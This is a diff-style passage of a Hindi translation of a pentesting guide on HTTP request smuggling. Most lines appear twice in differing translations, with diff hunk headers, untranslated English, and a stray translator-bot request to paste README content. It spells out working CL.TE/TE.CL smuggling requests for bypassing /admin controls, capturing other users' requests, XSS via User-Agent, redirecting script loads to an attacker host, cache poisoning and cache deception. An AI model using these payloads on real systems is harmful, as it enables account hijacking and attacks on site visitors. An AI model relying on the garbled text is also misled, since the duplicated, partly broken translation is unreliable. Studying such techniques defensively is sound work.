- reuse और partial requests के साथ प्रयोग करते समय concatenation और message framing को सीधे निरीक्षण करने के लिए Burp "HTTP Hacker" extension का उपयोग करें।
- reuse और partial requests के साथ प्रयोग करते समय concatenation और message framing को सीधे इंस्पेक्ट करने के लिए Burp "HTTP Hacker" extension का उपयोग करें।
### Connection‑locked request smuggling (reuse-required)
कुछ front-ends केवल तब upstream connection reuse करते हैं जब client ने अपना reuse किया हो। वास्तविक smuggling मौजूद हो सकती है पर यह client-side reuse पर निर्भर होती है। भेद करने और प्रभाव साबित करने के लिए:
- server-side bug साबित करें
- HTTP/2 nested-response check का उपयोग करें, या
- दिखाने के लिए partial-requests का उपयोग करें कि FE केवल तभी upstream reuse करता है जब client करता है।
- यह दिखाएँ कि वास्तविक प्रभाव है भले ही direct cross-user socket abuse blocked हो:
- Cache poisoning: desync के माध्यम से shared caches को poison करें ताकि responses अन्य उपयोगकर्ताओं को प्रभावित करें।
- Internal header disclosure: FE-injected headers (उदा., auth/trust headers) को reflect करें और auth bypass की ओर pivot करें।
- Bypass FE controls: restricted paths/methods को front-end से पार smuggle करें।
- Host-header abuse: host routing quirks के साथ combine करके internal vhosts की ओर pivot करें।
कुछ front-ends केवल तभी upstream connection को reuse करते हैं जब client ने अपना connection reuse किया हो। वास्तविक smuggling मौजूद है लेकिन यह client-side reuse पर निर्भर करती है। अलग करने और प्रभाव साबित करने के लिए:
- server-side बग को साबित करें
- HTTP/2 nested-response जांच का उपयोग करें, या
- यह दिखाने के लिए partial-requests का उपयोग करें कि FE केवल तभी upstream को reuse करता है जब client ऐसा करे।
- प्रत्यक्ष cross-user socket abuse ब्लॉक होने पर भी वास्तविक प्रभाव दिखाएँ:
- Cache poisoning: desync के माध्यम से shared caches को poison करें ताकि responses अन्य उपयोगकर्ताओं को प्रभावित करें।
- Internal header disclosure: FE-injected headers (उदा., auth/trust headers) को reflect करें और auth bypass की ओर pivot करें।
- Bypass FE controls: restricted paths/methods को front-end के पार smuggle करें।
- Host-header abuse: host routing quirks के साथ संयोजन कर के internal vhosts की तरफ pivot करें।
- Operator workflow
- नियंत्रित reuse के साथ reproduce करें (Turbo Intruder `requestsPerConnection=2`, या Burp Repeater tab group → "Send group in sequence (single connection)")।
- फिर cache/header-leak/control-bypass primitives से chain करें और cross-user या authorization impact प्रदर्शित करें।
- नियंत्रित reuse के साथ reproduce करें (Turbo Intruder `requestsPerConnection=2`, या Burp Repeater tab group → "Send group in sequence (single connection)")।
- फिर cache/header-leak/control-bypass primitives को chain करें और cross-user या authorization impact दिखाएँ।
> See also connection‑state attacks, which are closely related but not technically smuggling:
>
@ -399,7 +416,7 @@ X: Y
### Client‑side desync constraints
यदि आप browser-powered/client-side desync को target कर रहे हैं, तो malicious request browser द्वारा cross-origin भेजने योग्य होना चाहिए। Header obfuscation tricks काम नहीं करेंगी। navigation/fetch के माध्यम से पहुँचने योग्य primitives पर फ़ोकस करें, और फिर downstream components द्वारा responses के reflect या cache होने पर pivot करें — जैसे cache poisoning, header disclosure, या front-end control bypass।
यदि आप browser-powered/client-side desync को लक्षित कर रहे हैं, तो malicious request browser द्वारा cross-origin भेजने योग्य होना चाहिए। Header obfuscation tricks काम नहीं करेंगे। navigation/fetch के माध्यम से पहुँचने योग्य primitives पर ध्यान केंद्रित करें, और फिर उन परिस्थितियों में pivot करें जहाँ downstream components responses को reflect या cache करते हैं — जैसे cache poisoning, header disclosure, या front-end control bypass।
For background and end-to-end workflows:
@ -407,25 +424,25 @@ For background and end-to-end workflows:
browser-http-request-smuggling.md
{{#endref}}
### Tooling to help decide
### निर्णय में मदद करने वाले टूल
- HTTP Hacker (Burp BApp Store): low-level HTTP व्यवहार और socket concatenation को उजागर करता है।
- HTTP Hacker (Burp BApp Store): low-level HTTP व्यवहार और socket concatenation को एक्सपोज़ करता है।
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: `requestsPerConnection` के माध्यम से connection reuse पर सटीक नियंत्रण।
- Burp HTTP Request Smuggler: एक connection‑state probe शामिल है जो first‑request routing/validation को पकड़ता है।
- Burp HTTP Request Smuggler: इसमें first‑request routing/validation को पकड़ने के लिए एक connection‑state probe शामिल है।
> [!NOTE]
> reuse-only effects को गैर-समस्याओं के रूप में मानें जब तक कि आप server-side desync साबित न कर सकें और ठोस प्रभाव (poisoned cache artifact, leaked internal header जो privilege bypass सक्षम करे, bypassed FE control, आदि) प्रस्तुत न कर सकें।
> केवल reuse-अनन्य प्रभावों को non-issues मानें जब तक आप server-side desync साबित न कर सकें और ठोस प्रभाव (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, आदि) जोड़ न सकें।
## Abusing HTTP Request Smuggling
## HTTP Request Smuggling का दुरुपयोग
### Circumventing Front-End Security via HTTP Request Smuggling
### HTTP Request Smuggling के माध्यम से Front-End Security को बायपास करना
कभी-कभी front-end proxies security measures लागू करते हैं और आने वाले requests की जांच करते हैं। हालांकि, इन measures को HTTP Request Smuggling का उपयोग करके बायपास किया जा सकता है, जिससे restricted endpoints तक unauthorized access हो सके। उदाहरण के लिए, बाहरी रूप से `/admin` तक पहुँच वर्जित हो सकती है और front-end proxy ऐसे प्रयासों को सक्रिय रूप से ब्लॉक कर सकता है। फिर भी, यह proxy smuggled HTTP request के अंदर embedded requests की जाँच न करके इन प्रतिबंधों को बायपास करने के लिए एक loophole छोड़ सकता है।
कभी-कभी, front-end proxies सुरक्षा उपाय लागू करते हैं और incoming requests की कड़ी जाँच करते हैं। हालांकि, इन उपायों को HTTP Request Smuggling का शोषण करके बायपास किया जा सकता है, जिससे restricted endpoints तक unauthorized access मिल सकता है। उदाहरण के लिए, बाहरी रूप से `/admin` तक पहुंच मना हो सकती है और front-end proxy ऐसे प्रयासों को सक्रिय रूप से ब्लॉक कर सकता है। फिर भी, यह proxy smuggled HTTP request के अंदर embedded requests की जाँच न करके इन प्रतिबंधों को बायपास करने का रास्ता छोड़ सकता है।
निम्न उदाहरणों पर विचार करें जो दिखाते हैं कि HTTP Request Smuggling का उपयोग front-end security controls को बायपास करने के लिए कैसे किया जा सकता है, विशेष रूप से `/admin` path को लक्षित करके जो सामान्यतः front-end proxy द्वारा सुरक्षित होता है:
नीचे दिए गए उदाहरणों पर विचार करें जो दिखाते हैं कि HTTP Request Smuggling का उपयोग front-end सुरक्षा नियंत्रणों को बायपास करने के लिए कैसे किया जा सकता है, विशेष रूप से `/admin` path को लक्षित करते हुए जिसे सामान्यतः front-end proxy द्वारा सुरक्षित रखा जाता है:
**CL.TE Example**
**CL.TE उदाहरण**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
@ -442,9 +459,9 @@ Content-Length: 10
x=
```
In the CL.TE attack में प्रारंभिक request के लिए `Content-Length` header का उपयोग किया जाता है, जबकि बाद वाला embedded request `Transfer-Encoding: chunked` header का उपयोग करता है। front-end proxy प्रारंभिक `POST` request को process करता है लेकिन embedded `GET /admin` request का निरीक्षण करने में विफल रहता है, जिससे `/admin` path तक अनधिकृत पहुँच संभव हो जाती है।
CL.TE attack में, `Content-Length` header प्रारंभिक request के लिए उपयोग किया जाता है, जबकि उसके बाद के embedded request में `Transfer-Encoding: chunked` header का उपयोग होता है। front-end proxy प्रारंभिक `POST` request को process करता है लेकिन embedded `GET /admin` request का निरीक्षण करने में विफल रहता है, जिससे `/admin` path तक अनधिकृत पहुँच संभव हो जाती है।
**TE.CL Example**
**TE.CL उदाहरण**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
@ -460,13 +477,13 @@ a=x
0
```
इसके विपरीत, TE.CL attack में, प्रारंभिक `POST` request `Transfer-Encoding: chunked` का उपयोग करती है, और उसके बाद embedded request को `Content-Length` header के आधार पर process किया जाता है। CL.TE attack की तरह, front-end proxy smuggled `GET /admin` request को अनदेखा कर देता है, जिससे अनजाने में restricted `/admin` path तक access मिल जाता है।
विपरीत रूप से, TE.CL attack में प्रारम्भिक `POST` request `Transfer-Encoding: chunked` का उपयोग करती है, और बाद में एम्बेडेड request को उसके `Content-Length` header के आधार पर प्रोसेस किया जाता है। CL.TE attack की तरह, front-end proxy smuggled `GET /admin` request को अनदेखा कर देता है, जिससे अनजाने में प्रतिबंधित `/admin` path तक पहुँच मिल जाती है।
### फ्रंट-एंड अनुरोध पुनर्लेखन का खुलासा <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Applications अक्सर आने वाले requests को back-end server को भेजने से पहले बदलने के लिए **front-end server** का उपयोग करते हैं। एक सामान्य परिवर्तन headers जोड़ना है, जैसे `X-Forwarded-For: <IP of the client>`, ताकि क्लाइंट का IP back-end तक पहुँचाया जा सके। इन परिवर्तनों को समझना महत्वपूर्ण हो सकता है, क्योंकि इससे आप सुरक्षा उपायों को बायपास करने या छिपी हुई जानकारी/endpoints का पता लगाने के तरीके उजागर कर सकते हैं।
Applications अक्सर incoming requests को back-end server को पास करने से पहले संशोधित करने के लिए एक **front-end server** का उपयोग करते हैं। एक सामान्य संशोधन में headers जोड़ना शामिल होता है, जैसे `X-Forwarded-For: <IP of the client>`, जिससे क्लाइंट का IP back-end तक पहुँचाया जाता है। इन संशोधनों को समझना महत्वपूर्ण हो सकता है, क्योंकि इससे **bypass protections** या **uncover concealed information or endpoints** के तरीके उजागर हो सकते हैं।
जांचने के लिए कि proxy किसी request को कैसे बदलता है, एक ऐसा POST parameter ढूंढें जिसे back-end response में echo करता है। फिर, इस parameter को आख़िर में इस्तेमाल करते हुए एक request बनाएं, जो निम्न के समान हो:
यह जांचने के लिए कि proxy किसी अनुरोध को कैसे बदलता है, उस POST parameter को ढूंढ़ें जिसे back-end response में echo करता है। फिर, इस parameter को आख़िर में उपयोग करते हुए एक request तैयार करें, जो निम्नलिखित के समान हो:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -483,31 +500,19 @@ Content-Length: 100
search=
```
In this structure, subsequent request components are appended after `search=`, which is the parameter reflected in the response. This reflection will expose the headers of the subsequent request.
इस संरचना में, बाद के अनुरोध के घटक `search=` के बाद जोड़े जाते हैं, जो प्रतिक्रिया में परावर्तित होने वाला parameter है। यह प्रतिबिंब subsequent request के headers को उजागर कर देगा।
इस संरचना में, बाद के अनुरोध के घटक `search=` के बाद जोड़े जाते हैं, जो प्रतिक्रिया में परावर्तित होने वाला पैरामीटर है। यह परावर्तन अगले अनुरोध के headers को उजागर कर देगा।
यह महत्वपूर्ण है कि नेस्टेड अनुरोध का `Content-Length` header वास्तविक सामग्री की लंबाई के साथ संरेखित हो। छोटे मान से शुरू करना और धीरे-धीरे बढ़ाना सलाहयोग्य है, क्योंकि बहुत कम मान प्रतिबिंबित डेटा को truncate कर देगा, जबकि बहुत अधिक मान request को error कर सकता है।
It's important to align the `Content-Length` header of the nested request with the actual content length. Starting with a small value and incrementing gradually is advisable, as too low a value will truncate the reflected data, while too high a value can cause the request to error out.
यह तकनीक TE.CL vulnerability के संदर्भ में भी लागू होती है, लेकिन अनुरोध को `search=\r\n0` पर समाप्त होना चाहिए। newline characters की परवाह किए बिना, ये मान search parameter में जोड़ दिए जाएंगे।
nested अनुरोध के `Content-Length` header को वास्तविक सामग्री की लंबाई के साथ मेल खाना महत्वपूर्ण है। छोटे मान से शुरू करके धीरे‑धीरे बढ़ाना सलाहयोग्य है, क्योंकि बहुत कम मान परावर्तित डेटा को कट कर देगा, जबकि बहुत अधिक मान अनुरोध को error करवा सकता है।
यह विधि मुख्यतः front-end proxy द्वारा किए गए अनुरोध संशोधनों को समझने के लिए उपयोगी है, मूलतः एक आत्म-निर्देशित जांच करने का तरीका है।
This technique is also applicable in the context of a TE.CL vulnerability, but the request should terminate with `search=\r\n0`. Regardless of the newline characters, the values will append to the search parameter.
### अन्य उपयोगकर्ताओं के अनुरोध कैप्चर करना <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
यह तकनीक TE.CL vulnerability के संदर्भ में भी लागू होती है, लेकिन अनुरोध को `search=\r\n0` पर समाप्त करना चाहिए। newline characters की परवाह किए बिना, मान search पैरामीटर में जोड़ दिए जाएंगे।
POST ऑपरेशन के दौरान किसी पैरामीटर के मान के रूप में एक विशिष्ट अनुरोध जोड़कर अगले उपयोगकर्ता के अनुरोधों को कैप्चर करना संभव है। इसे इस तरह किया जा सकता है:
This method primarily serves to understand the request modifications made by the front-end proxy, essentially performing a self-directed investigation.
यह विधि मुख्यतः front-end proxy द्वारा किए गए अनुरोध संशोधनों को समझने के लिए है, मौलिक रूप से एक स्वयं-निर्देशित जांच करती है।
### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
It's feasible to capture the requests of the next user by appending a specific request as the value of a parameter during a POST operation. Here's how this can be accomplished:
POST ऑपरेशन के दौरान किसी पैरामीटर के मान के रूप में एक विशिष्ट request जोड़कर अगले उपयोगकर्ता के अनुरोधों को capture करना संभव है। इसे इस प्रकार किया जा सकता है:
By appending the following request as the value of a parameter, you can store the subsequent client's request:
निम्नलिखित request को किसी पैरामीटर के मान के रूप में जोड़कर आप बाद वाले क्लाइंट के अनुरोध को स्टोर कर सकते हैं:
निम्नलिखित अनुरोध को किसी पैरामीटर के मान के रूप में जोड़कर, आप अगले क्लाइंट के अनुरोध को स्टोर कर सकते हैं:
```
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@ -527,20 +532,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
इस परिदृश्य में, **टिप्पणी पैरामीटर** का उद्देश्य सार्वजनिक रूप से सुलभ पेज पर पोस्ट के टिप्पणी सेक्शन के भीतर सामग्री संग्रहीत करना है। परिणामस्वरूप, बाद वाले अनुरोध की सामग्री एक टिप्पणी के रूप में दिखाई देगी।
In this scenario, the **comment parameter** is intended to store the contents within a post's comment section on a publicly accessible page. Consequently, the subsequent request's contents will appear as a comment.
हालाँकि, इस तकनीक की सीमाएँ हैं। सामान्यतः, यह केवल उस पैरामीटर डिलिमिटर तक ही डेटा कैप्चर करती है जो smuggled request में उपयोग किया गया है। URL-encoded form submissions के लिए, यह डिलिमिटर `&` कैरेक्टर है। इसका मतलब है कि पीड़ित उपयोगकर्ता के अनुरोध से कैप्चर किया गया कंटेंट पहले `&` पर रुक जाएगा, जो कभी-कभी query string का हिस्सा भी हो सकता है।
हालाँकि, इस technique की सीमाएँ हैं। सामान्यतः, यह केवल smuggled request में उपयोग किए गए parameter delimiter तक ही डेटा कैप्चर करता है। URL-encoded form submissions के लिए, यह delimiter `&` कैरेक्टर होता है। इसका अर्थ है कि पीड़ित उपयोगकर्ता के अनुरोध से कैप्चर की गई सामग्री पहले `&` पर रुक जाएगी, जो कि कभी-कभी query string का हिस्सा भी हो सकता है।
इसके अलावा, ध्यान देने योग्य है कि यह तरीका TE.CL vulnerability के साथ भी काम करता है। ऐसे मामलों में, request को `search=\r\n0` पर समाप्त होना चाहिए। newline characters की परवाह किए बिना, मान search पैरामीटर में जोड़ दिए जाएंगे।
इसके अतिरिक्त, यह ध्यान देने योग्य है कि यह तरीका TE.CL vulnerability के साथ भी काम करता है। ऐसे मामलों में, अनुरोध `search=\r\n0` पर समाप्त होना चाहिए। न्यूलाइन कैरेक्टर्स की परवाह किए बिना, मान search parameter में जोड़ दिए जाएँगे।
### HTTP request smuggling का उपयोग reflected XSS का शोषण करने के लिए
### Using HTTP request smuggling to exploit reflected XSS
HTTP Request Smuggling का उपयोग उन वेब पेजों को exploit करने के लिए किया जा सकता है जो **Reflected XSS** के लिए कमजोर हैं, और यह महत्वपूर्ण फायदे देता है:
HTTP Request Smuggling का उपयोग उन वेब पेजों को exploit करने के लिए किया जा सकता है जो **Reflected XSS** के प्रति संवेदनशील हैं, और यह महत्वपूर्ण फायदे देता है:
- लक्षित उपयोगकर्ताओं के साथ इंटरैक्शन **आवश्यक नहीं है**।
- यह अनुरोध के उन हिस्सों में XSS का exploit करने की अनुमति देता है जो सामान्यतः **अप्राप्य** होते हैं, जैसे HTTP request headers।
- Target users के साथ इंटरैक्शन **आवश्यक नहीं है**।
- यह उन हिस्सों में XSS exploitation की अनुमति देता है जो **normally unattainable** होते हैं, जैसे HTTP request headers।
ऐसी स्थितियों में जहाँ कोई वेबसाइट User-Agent header के माध्यम से Reflected XSS के प्रति संवेदनशील हो, निम्नलिखित payload यह दिखाता है कि इस vulnerability को कैसे exploit किया जा सकता है:
ऐसे परिदृश्यों में जहाँ कोई वेबसाइट User-Agent header के माध्यम से Reflected XSS के लिए संवेदनशील है, निम्न payload दिखाता है कि इस vulnerability का कैसे exploit किया जा सकता है:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -561,36 +566,36 @@ Content-Type: application/x-www-form-urlencoded
A=
```
यह payload इस vulnerability का फायदा उठाने के लिए इस तरह संरचित है:
This payload इस vulnerability का exploit करने के लिए इस तरह संरचित है:
1. एक सामान्य दिखने वाला `POST` request शुरू करना, जिसमें smuggling की शुरुआत का संकेत देने के लिए `Transfer-Encoding: chunked` header होता है।
2. इसके बाद `0` भेजना, जो chunked message body के अंत को दर्शाता है।
3. फिर, एक smuggled `GET` request डाला जाता है, जिसमें `User-Agent` header में `<script>alert(1)</script>` जैसे script का injection किया जाता है, जो server द्वारा इस अगले request को process करते समय XSS को ट्रिगर करता है।
1. एक सामान्य दिखने वाली `POST` request आरंभ करना, जिसमें smuggling शुरू करने का संकेत देने के लिए `Transfer-Encoding: chunked` header होता है।
2. उसके बाद `0` भेजना, जो chunked message body के अंत को चिह्नित करता है।
3. फिर, एक smuggled `GET` request डाली जाती है, जिसमें `User-Agent` header में `<script>alert(1)</script>` जैसा script inject किया जाता है, जो सर्वर जब इस subsequent request को प्रोसेस करता है तो XSS ट्रिगर करता है।
smuggling के जरिए `User-Agent` को manipulate करके, यह payload सामान्य request constraints को बायपास कर देता है, और इस तरह non-standard परंतु प्रभावी तरीके से Reflected XSS vulnerability का फायदा उठाता है।
`User-Agent` को smuggling के जरिए manipulate करके, payload सामान्य request constraints को bypass कर देता है, इसलिए यह एक non-standard लेकिन प्रभावी तरीके से Reflected XSS vulnerability का exploit कर देता है।
#### HTTP/0.9
> [!CAUTION]
> यदि user content किसी response में **`Content-type`** जैसे **`text/plain`** के साथ reflect होता है, तो XSS की execution रोकी जा सकती है। यदि server **HTTP/0.9** को support करता है तो इसे bypass करना संभव हो सकता है!
> अगर user content किसी response में ऐसे **`Content-type`** जैसे **`text/plain`** के साथ reflect होता है, तो XSS का execution रोका जा सकता है। अगर server **HTTP/0.9** को support करता है तो इसे bypass करना संभव हो सकता है!
HTTP/0.9 version 1.0 से पहले की थी और यह केवल **GET** verbs का उपयोग करती है और **headers** के साथ respond नहीं करती, केवल body भेजती है।
HTTP/0.9 version, जो पहले HTTP/1.0 से पहले था, केवल **GET** verbs का उपयोग करता है और **headers** के साथ respond नहीं करता, सिर्फ body भेजता है।
इस [**this writeup**](https://mizu.re/post/twisty-python) में, इसे request smuggling के साथ abused किया गया था और एक **vulnerable endpoint जो user के input के साथ reply करेगा** का इस्तेमाल करके HTTP/0.9 के साथ request smuggle करने में दुरुपयोग किया गया था। Response में जो parameter reflect होगा, उसमें एक **fake HTTP/1.1 response (with headers and body)** शामिल था, इसलिए response में `Content-Type` `text/html` के साथ valid executable JS code होगा।
In [**this writeup**](https://mizu.re/post/twisty-python), इसे request smuggling के साथ abuse किया गया था और एक **vulnerable endpoint that will reply with the input of the user** का उपयोग करके HTTP/0.9 के साथ request smuggle की गई। वह parameter जो response में reflect होगा, उसमें एक **fake HTTP/1.1 response (with headers and body)** शामिल था, इसलिए response में valid executable JS कोड होगा और `Content-Type` `text/html` होगा।
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
Applications अक्सर redirect करते हैं एक URL से दूसरे URL पर, redirect URL में hostname के लिए `Host` header का उपयोग करके। यह Apache और IIS जैसे web servers में सामान्य है। उदाहरण के लिए, किसी फोल्डर का request बिना trailing slash के करने पर redirect होता है ताकि slash शामिल हो:
Applications अक्सर एक URL से दूसरे URL पर redirect करने के लिए redirect URL में `Host` header से hostname का उपयोग करती हैं। यह Apache और IIS जैसे वेब सर्वरों में सामान्य है। उदाहरण के लिए, किसी folder को trailing slash के बिना request करने पर उसे slash सहित redirect किया जाता है:
```
GET /home HTTP/1.1
Host: normal-website.com
```
परिणाम:
कृपया src/pentesting-web/http-request-smuggling/README.md की सामग्री यहाँ पेस्ट करें ताकि मैं अनुवाद कर सकूँ।
```
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
हालाँकि दिखाई देने में हानिरहित, इस व्यवहार को HTTP request smuggling का उपयोग करके उपयोगकर्ताओं को किसी बाहरी साइट पर redirect करने के लिए हेरफेर किया जा सकता है। उदाहरण के लिए:
हालाँकि यह व्यवहार दिखने में हानिरहित लगता है, इसे HTTP request smuggling का उपयोग करके users को किसी external site पर redirect करने के लिए हेरफेर किया जा सकता है। उदाहरण के लिए:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -604,29 +609,29 @@ GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
यह smuggled request अगले प्रसंस्कृत उपयोगकर्ता अनुरोध को attacker-controlled वेबसाइट पर रीडायरेक्ट कर सकता है:
यह smuggled request अगले प्रोसेस किए गए उपयोगकर्ता अनुरोध को attacker-controlled website पर redirect कर सकता है:
```
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
```
इसके परिणामस्वरूप:
परिणाम:
```
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
In this scenario, a user's request for a JavaScript file is hijacked. The attacker can potentially compromise the user by serving malicious JavaScript in response.
### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Web Cache Poisoning का शोषण HTTP Request Smuggling के माध्यम से <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Web cache poisoning तब किया जा सकता है अगर कोई भी component of the **front-end infrastructure caches content**, सामान्यतः प्रदर्शन बढ़ाने के लिए। सर्वर की प्रतिक्रिया को हेरफेर करके, **poison the cache** करना संभव है।
Web cache poisoning तब किया जा सकता है यदि किसी भी घटक में **front-end infrastructure caches content**, आमतौर पर प्रदर्शन बढ़ाने के लिए। सर्वर की प्रतिक्रिया को बदलकर, यह संभव है कि आप **poison the cache**।
पहले हमने देखा कि कैसे सर्वर प्रतिक्रियाओं को बदलकर 404 error लौटाया जा सकता है (देखें [Basic Examples](#basic-examples)). इसी तरह, यह संभव है कि सर्वर को ठगा जाए और किसी अनुरोध के जवाब में `/index.html` सामग्री `/static/include.js` के अनुरोध के लिए दी जाए। परिणामस्वरूप, `/static/include.js` की सामग्री cache में `/index.html` की सामग्री से बदल दी जाती है, जिससे `/static/include.js` उपयोगकर्ताओं के लिए अनुपलब्ध हो जाता है और संभावित रूप से Denial of Service (DoS) का कारण बन सकता है।
Previously, we observed how server responses could be altered to return a 404 error (refer to [Basic Examples](#basic-examples)). Similarly, it’s feasible to trick the server into delivering `/index.html` content in response to a request for `/static/include.js`. Consequently, the `/static/include.js` content gets replaced in the cache with that of `/index.html`, rendering `/static/include.js` inaccessible to users, potentially leading to a Denial of Service (DoS).
यह technique विशेष रूप से खतरनाक हो जाती है यदि कोई **Open Redirect vulnerability** खोज ली जाए या साइट के भीतर किसी **on-site redirect to an open redirect** मौजूद हो। ऐसी कमजोरियों का उपयोग करके `/static/include.js` की cache की हुई सामग्री को attacker के नियंत्रण वाले स्क्रिप्ट से बदल दिया जा सकता है, जिससे उन सभी क्लाइंट्स के खिलाफ व्यापक Cross-Site Scripting (XSS) हमला संभव हो जाता है जो अपडेट की गई `/static/include.js` का अनुरोध करते हैं।
This technique becomes particularly potent if an **Open Redirect vulnerability** is discovered or if there's an **on-site redirect to an open redirect**. Such vulnerabilities can be exploited to replace the cached content of `/static/include.js` with a script under the attacker's control, essentially enabling a widespread Cross-Site Scripting (XSS) attack against all clients requesting the updated `/static/include.js`.
नीचे **cache poisoning combined with an on-site redirect to open redirect** का शोषण करने का एक उदाहरण दिया गया है। उद्देश्य `/static/include.js` के cache कंटेंट को बदलकर attacker द्वारा नियंत्रित JavaScript सर्व करना है:
Below is an illustration of exploiting **cache poisoning combined with an on-site redirect to open redirect**. The objective is to alter the cache content of `/static/include.js` to serve JavaScript code controlled by the attacker:
```
POST / HTTP/1.1
Host: vulnerable.net
@ -644,20 +649,20 @@ Content-Length: 10
x=1
```
ध्यान दें कि एम्बेडेड रिक्वेस्ट `/post/next?postId=3` को लक्षित कर रही है। यह रिक्वेस्ट `/post?postId=4` पर रीडायरेक्ट हो जाएगी, डोमेन निर्धारित करने के लिए **Host header value** का उपयोग करते हुए। **Host header** को बदलकर, attacker अपनी डोमेन पर रिक्वेस्ट रीडायरेक्ट कर सकता है (**on-site redirect to open redirect**)।
Note the embedded request targeting `/post/next?postId=3`. यह अनुरोध `/post?postId=4` पर रीडायरेक्ट होगा, और डोमेन निर्धारित करने के लिए **Host header value** का उपयोग किया जाएगा। **Host header** को बदल कर, हमलावर अनुरोध को अपने डोमेन पर रीडायरेक्ट कर सकता है (**on-site redirect to open redirect**).
सफल **socket poisoning** के बाद, `/static/include.js` के लिए एक **GET request** शुरू की जानी चाहिए। यह रिक्वेस्ट पहले की हुई **on-site redirect to open redirect** रिक्वेस्ट से संदूषित हो जाएगी और attacker द्वारा नियंत्रित स्क्रिप्ट की सामग्री प्राप्त करेगी।
सफल **socket poisoning** के बाद, `/static/include.js` के लिए एक **GET request** प्रारम्भ किया जाना चाहिए। यह अनुरोध पिछले **on-site redirect to open redirect** अनुरोध से दूषित होगा और हमलावर द्वारा नियंत्रित स्क्रिप्ट की सामग्री को फ़ेच करेगा।
इसके बाद, `/static/include.js` के लिए कोई भी रिक्वेस्ट attacker के स्क्रिप्ट की कैश्ड सामग्री सर्व करेगी, जिससे प्रभावी रूप से एक व्यापक XSS attack लॉन्च हो जाएगा।
इसके बाद, `/static/include.js` के लिए कोई भी अनुरोध हमलावर की स्क्रिप्ट की cached सामग्री को परोसेगा, जिससे प्रभावी रूप से व्यापक XSS attack शुरू हो जाएगा।
### HTTP request smuggling का उपयोग करके web cache deception करना <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **web cache poisoning और web cache deception में क्या अंतर है?**
>
> - **web cache poisoning** में, attacker एप्लिकेशन को cache में कुछ दुर्भावनापूर्ण सामग्री स्टोर कराने के लिए प्रेरित करता है, और यह सामग्री cache से अन्य एप्लिकेशन उपयोगकर्ताओं को सर्व की जाती है।
> - **web cache deception** में, attacker एप्लिकेशन को किसी अन्य उपयोगकर्ता की कुछ संवेदनशील सामग्री cache में स्टोर करवा देता है, और फिर attacker उस सामग्री को cache से प्राप्त कर लेता है।
> - In **web cache poisoning**, हमलावर एप्लिकेशन को cache में कुछ दुर्भावनापूर्ण सामग्री संग्रहीत करने का कारण बनता है, और यह सामग्री cache से अन्य एप्लिकेशन उपयोगकर्ताओं को परोसी जाती है।
> - In **web cache deception**, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता का संवेदनशील कंटेंट cache में संग्रहीत करने का कारण बनता है, और फिर हमलावर वह सामग्री cache से पुनः प्राप्त कर लेता है।
attacker एक smuggled request तैयार करता है जो संवेदनशील user-विशिष्ट सामग्री को प्राप्त करती है। निम्नलिखित उदाहरण पर विचार करें:
हमलावर एक smuggled request तैयार करता है जो संवेदनशील उपयोगकर्ता-विशेष सामग्री को फ़ेच करता है। निम्नलिखित उदाहरण देखें:
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@ -668,17 +673,17 @@ attacker एक smuggled request तैयार करता है जो स
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
यदि यह smuggled request किसी static content (उदा., `/someimage.png`) के लिए बने cache entry को poison कर दे, तो victim का संवेदनशील डेटा `/private/messages` उस static content के cache entry के तहत cached हो सकता है। परिणामस्वरूप, attacker संभवतः इन cached संवेदनशील डेटा को पुनः प्राप्त कर सकता है।
यदि यह smuggled request किसी static content (उदा., `/someimage.png`) के लिए निर्धारित cache entry को poison कर देता है, तो victim का संवेदनशील डेटा `/private/messages` उस static content के cache entry के तहत कैश हो सकता है। परिणामस्वरूप, attacker संभावित रूप से इन cached संवेदनशील डेटा को retrieve कर सकता है।
### TRACE का दुरुपयोग HTTP Request Smuggling के माध्यम से <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**In this post**](https://portswigger.net/research/trace-desync-attack) में सुझाया गया है कि यदि सर्वर पर method TRACE सक्रिय है तो इसे HTTP Request Smuggling के साथ दुरुपयोग किया जा सकता है। ऐसा इसलिए है क्योंकि यह method सर्वर को भेजे गए किसी भी header को response के body के हिस्से के रूप में reflect कर देगा। उदाहरण के लिए:
